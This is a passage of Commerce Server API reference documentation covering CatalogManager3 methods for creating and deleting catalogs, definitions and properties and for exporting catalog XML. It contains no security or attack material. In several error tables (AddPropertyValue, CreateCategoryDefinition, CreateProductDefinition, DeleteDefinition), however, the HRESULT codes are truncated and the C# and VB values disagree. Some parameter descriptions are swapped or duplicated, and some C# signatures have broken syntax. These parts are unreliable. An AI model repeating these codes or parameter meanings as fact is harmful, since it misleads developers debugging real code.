CscText | 10 | Indicates a Microsoft SQL Server Text data type.
CscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.AddPropertyValue Method (PIA)

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddPropertyValue(
  strPropertyName As String,
  strLegalValue As String
  strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPropertyValue(
  string strPropertyName,
  string strLegalValue
  string strLang
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property for which a new value will be defined.
strLegalValue
A String that contains the new value.
strLang
A String that contains the new value.
[C#]
strPropertyName
A string that contains the name of the enumeration property for which a new value will be defined.
strLegalValue
A string that contains the language identifier.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_ENUMERATED_VALUE | [C#] 0x889800E [Visual Basic .NET] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009 [Visual Basic .NET] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C#] 0x8898000 [Visual Basic .NET] &H8898007 | The property you specified is not a cscEnumeration data-type. This operation can only be performed on cscEnumeration data types.
E_CAT_VALUE_ALREADY_ADDED | [C#] 0x8898000 [Visual Basic .NET] &H8898008 | The enumerated value you specified is already present in the list for this property.

Remarks

The AddPropertyValue method is used only for properties whose data type is cscEnumeration.

This method adds a new value to the list of defined values for an enumeration property. Any attempts by a client to set this property to a value other than one of the legal values will result in an error. This method is useful for automatic validation against properties that only have a small, fixed set of values. For example, a Color property may have red, green, and blue as the only defined values.

[Visual Basic .NET]

Example

myCatalogManager.AddPropertyValue("color", "Blue","en-US")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.GetPropertyValues

CatalogManager3.RemovePropertyValue

Table of Language Culture Names, Codes, and ISO Values


CatalogManager3.CreateCatalog Method (PIA)

Use this method to create a new catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Function CreateCatalog(
  strCatalogName As String,
  Optional strProductID As String,
  Optional strProductVariantID As Object,
  Optional lcidLocale As Object,
  Optional strCurrency As Object,
  Optional strWeightMeasure As Object,
  Optional dtStartDate As Object,
  Optional dtEndDate As Object,
  Optional vrDefaultLanguage As Object,
  Optional vrReportingLanguage As Object,
  Optional fVirtualCatalog As Boolean
) As IProductCatalog
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public  IProductCatalog CreateCatalog(
  string strCatalogName,
  string strProductID,
  object strProductVariantID,
  object lcidLocale,
  object strCurrency,
  object strWeightMeasure,
  object dtStartDate,
  object dtEndDate,
  object vrDefaultLanguage,
  object vrReportingLanguage,
  Boolean fVirtualCatalog,
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be created. See the Remarks section for a list of restricted characters.
strProductID
A String that contains the product ID property.
strProductVariantID
An Object that contains the product variant ID property.
lcidLocale
An Object that contains the locale ID (LCID) of the catalog to be created.
strCurrency
An Object that contains the currency type of the catalog to be created.
strWeightMeasure
An Object that contains the unit of weight or measure of the catalog to be created.
dtStartDate
An Object of subtype System.DateTime that contains the start date.
dtEndDate
An Object of subtype System.DateTime that contains the end date.
vrDefaultLanguage
An Object that contains the default language identifier. The default value is the system default language.
vrReportingLanguage
An Object that contains the reporting language identifier. The default value is the value of the vrDefaultLanguage parameter, if supplied; otherwise, it is the system default language.
fVirtualCatalog
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.
[C#]
strCatalogName
A string that contains the name of the catalog to be created. See the Remarks section for a list of restricted characters.
strProductID
A string that contains the product ID property.
strProductVariantID
An object that contains the product variant ID property. Optionally, specify no product variant ID by setting this to Type.Missing.
lcidLocale
An object that contains the locale ID (LCID) of the catalog to be created. Optionally, specify no locale ID by setting this to Type.Missing.
strCurrency
An object that contains the currency type of the catalog to be created. Optionally, specify no currency type by setting this to Type.Missing.
strWeightMeasure
An object that contains the unit of weight or measure of the catalog to be created. Optionally, specify no unit of weight or measure by setting this to Type.Missing.
dtStartDate
An object that contains the start date. Optionally, specify no start date by setting this to Type.Missing.
dtEndDate
An object of subtype DATE that contains the end date. Optionally, specify no end date by setting this to Type.Missing.
VrDefaultLanguage
An object that contains the default language identifier. The default value is the system default language.
VrReportingLanguage
An object that contains the reporting language identifier. The default value is the value of the vrDefaultLanguage parameter, if supplied; otherwise, it is the system default language.
fVirtualCatalog
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an IProductCatalog interface to the ProductCatalog object that was created.

[C#] This method returns the IProductCatalog interface to the new catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. The strCatalogNames parameter cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the following nine reserved characters: " [ ] , ' ( )#. You should not use these characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters: .,"[]
E_CAT_PRODID_DOESNT_EXIST | [C#] 0x88980010 [Visual Basic .NET] &H88980010 | The ProductID you requested to use for this Catalog does not exist in the Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_VARIANTID_DOESNT_EXIST | [C#] 0x88980061 [Visual Basic .NET] &H88980061 | The VariantID you requested to use for this Catalog does not exist in the Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_PRODUCTID_MULTILINGUAL | [C#] 0x889800E2 [Visual Basic .NET] &H889800E2 | The Property that you specified to be used as the ProductID is a Multilingual property. A multilingual property cannot be used as a ProductID for a catalog
E_CAT_INVALID_DATATYPE_FOR_PRODUCTID | [C#] 0x88980075 [Visual Basic .NET] &H88980075 | The Property that you specified for the ProductID has a text, enumeration, filepath, float, money, datetime or boolean data type. A property with any of these data type cannot be used as a ProductID for a catalog
E_CAT_CATALOG_EXISTS | [C#] 0x88980001 [Visual Basic .NET] &H88980001 | The Catalog name you specified already exists.

Remarks

If variants are to be used in this catalog, you must provide a property name in the optional strProductVariantID parameter. If this parameter is not specified upon creation of the catalog, any attempt to create a product variant in that catalog will fail.

If the strProductID or strProductVariantID parameters are of type cscString, cscEnumeration, or cscFileName, they are limited to a length of 256 characters.

The returned ProductCatalog object will be pre-initialized and ready for use.

Notes

  • This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.
  • Catalog names, and therefore the strCatalogName parameter, cannot begin with the pound sign (#) and cannot contain any of the following characters:
    • Blank space ( )
    • Double quote (")
    • Comma (,)
    • Period (.)
    • Left square bracket ([)
    • Right square bracket (])
[Visual Basic .NET]

Example

oNewCatalog = myCatalogManager.CreateCatalog( _
  "NewCatalog", "ItemNum", "SKU")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.DeleteCatalog

CatalogManager3.GetCatalog


CatalogManager3.CreateCategoryDefinition Method (PIA)

Use this method to create a new category definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub CreateCategoryDefinition(
  strDefinitionName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void CreateCategoryDefinition(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the new category definition.
[C#]
strDefinitionName
A string that contains the name of the new category definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The Definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_PRODUCT | [C#] 0x8898004 [Visual Basic .NET] &H8898004 | A product definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty method.

[Visual Basic .NET]

Example

myCatalogManager.CreateCategoryDefinition("Housewares")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.CreateProductDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CreateProductDefinition Method (PIA)

Use this method to create a new product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub CreateProductDefinition(
  strDefinitionName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void CreateProductDefinition(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the new product definition.
[C#]
strDefinitionName
A string that contains the name of the new product definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_CATEGORY | [C#] 0x8898004 [Visual Basic .NET] &H8898003 | A category definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty or AddDefinitionVariantProperty method.

[Visual Basic .NET]

Example

myCatalogManager.CreateProductDefinition("Microwave")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.CreateCategoryDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CreateProperty Method (PIA)

Use this method to create a new property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function CreateProperty(
  strPropertyName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CreateProperty(
  string strPropertyName,
  CatalogDataTypeEnum eDataType,
  object varMaxLength
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the new property. This parameter can only contain characters that are acceptable in XML tags.
eDataType
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength
An Object that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256, which cannot be changed.
[C#]
strPropertyName
A string that contains the name of the new property. This parameter can only contain characters that are acceptable in XML tags.
eDataType
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength
An object that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256, which cannot be changed. Specify no maximum length by setting this to Type.Missing.

Return Values

If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the property attributes.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A6 [Visual Basic .NET] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C#] 0x8898003E [Visual Basic .NET] &H8898003E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_PROP_EXISTS | [C#] 0x88980003 [Visual Basic .NET] &H88980003 | The property name you specified already exists.

Remarks

[Visual Basic .NET]

The recordset returned by this property is valid only if it is accessed successfully.

This method returns the _Recordset interface to a single-row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned) and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 255 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscInvalid | -1 | Reserved for future use.
[C#]

The ppRSProperty parameter contains valid data only if the property was accessed successfully.

This method returns a single-row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned) and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 255 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscInvalid | -1 | Reserved for future use.
[Visual Basic .NET]

Example

'varMaxLength is an Object
'cscString is an enum of type cscEnumeration
varMaxLength = 128
rsNewPropAttribs = myCatalogManager.CreateProperty( _
  "Format", cscString, varMaxLength)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.DeleteProperty

CatalogManager3.GetPropertyAttributes

CatalogManager3.SetPropertyAttributes


CatalogManager3.DeleteCatalog Method (PIA)

Use this method to delete a catalog and derived custom catalogs from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteCatalog(
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalog(
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be deleted.
[C#]
strCatalogName
A string that contains the name of the catalog to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. You should not use these reserved characters.
E_CAT_CATALOG_EXPORT_IN_PROGRESS | [C#] 0x88980058 [Visual Basic .NET] &H88980058 | The catalog you specified is currently being exported or imported. This catalog or its associated languages cannot be deleted.

Remarks

Notes

  • This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.
  • Deleting a catalog will also delete any custom catalogs that were derived from it.
[Visual Basic .NET]

Example

myCatalogManager.DeleteCatalog("OurStore")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog


CatalogManager3.DeleteDefinition Method (PIA)

Use this method to delete a definition from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteDefinition(
  strDefinitionName As String,
  Optional fForceDelete As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteDefinition(
  string strDefinitionName,
  bool fForceDelete
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to be deleted.
fForceDelete
A Boolean that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should be deleted only if it is not currently being used in a catalog. The default value is False.
[C#]
strDefinitionName
A string that contains the name of the definition to be deleted.
fForceDelete
A bool that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of

False indicates that the definition should be deleted only if it is not currently being used in a catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.
E_CAT_DEFINITION_USED_IN_CATALOG | [C#] 0x8898000 [Visual Basic .NET] &H889800C | You cannot delete the Definition because it is still being used by one or more Catalogs. To delete the Definition, first remove all products and/or categories based on that Definition from all Catalogs.

Remarks

Use a value of True for the fForceDelete parameter with caution, because the category or product definition, and all categories and products that are based on them in all catalogs will also be deleted. This could result in data loss.

[Visual Basic .NET]

Example

myCatalogManager.DeleteDefinition("T-Shirts", False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCategoryDefinition

CatalogManager3.CreateProductDefinition


CatalogManager3.DeleteProperty Method (PIA)

Use this method to delete a property from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteProperty(
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteProperty(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the property to be deleted.
[C#]
strPropertyName
A string that contains the name of the property to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C#] 0x88980005 [Visual Basic .NET] &H88980005 | The property name you specified does not exist.
E_CAT_PROP_STILL_IN_DEF | [C#] 0x88980004 [Visual Basic .NET] &H88980004 | The property you specified still resides in one or more Product or Category Definitions. To perform this operation, first remove the property from the Product or Category Definitions.
E_CAT_PROP_IS_ID | [C#] 0x88980011 [Visual Basic .NET] &H88980011 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.
[Visual Basic .NET]

Example

myCatalogManager.DeleteProperty("Width")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.DeltaExportXML Method (PIA)

Use this method to export updated catalog data to an Extensible Markup Language (XML) file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeltaExportXML(
  vrXML As Object,
  Optional vrTimeStamp As Object,
  Optional strCatalogsToExport As Object,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeltaExportXML(
  object vrXML ,
  object vrTimeStamp ,
  object strCatalogsToExport ,
  bool fRunSynchronously
  CatalogXMLFmtEnum eXMLFmt ,
  string strLang ,
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp
An optional Object that contains the time stamp that specifies the limit of the export. The Variant can be of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport
An optional Object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
An optional CatalogXMLFmtEnum enumeration that specifies the XML format. The default value is cscFmtElementCentric. See the Remarks section for more detail.
strLang
A String that contains the language identifier.
[C#]
vrXML
An object that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp
An optional object that contains the time stamp that specifies the limit of the export. The Variant can be of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport
An optional object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
An optional CatalogXMLFmtEnum enumeration that specifies the XML format. The default value is cscFmtElementCentric. See the Remarks section for more detail.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DATE | [C#] 0x889800C3 [Visual Basic .NET] &H889800C3 | There was an error converting the date specified. Please specify a valid date.
E_CAT_INVALID_XML_FORMAT | [C#] 0x889800D9 [Visual Basic .NET] &H889800D9 | The XML format that you specified is invalid.
E_CAT_FILE_CREATION_FAILED | [C#] 0x88980018 [Visual Basic .NET] &H88980018 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | This operation cannot be started because an import operation is currently in progress.

Remarks

The following table shows the values in the CatalogXMLFmtEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XML Data Reduced (XDR). (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method on a virtual catalog the resulting XML data will not include changes that are caused by changes in inclusion or exclusion rules. It will include changes inherited from a base catalog.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.ExportCSV Method (PIA)

Use this method to export catalog data to a comma-separated values (CSV) format file.

Definition

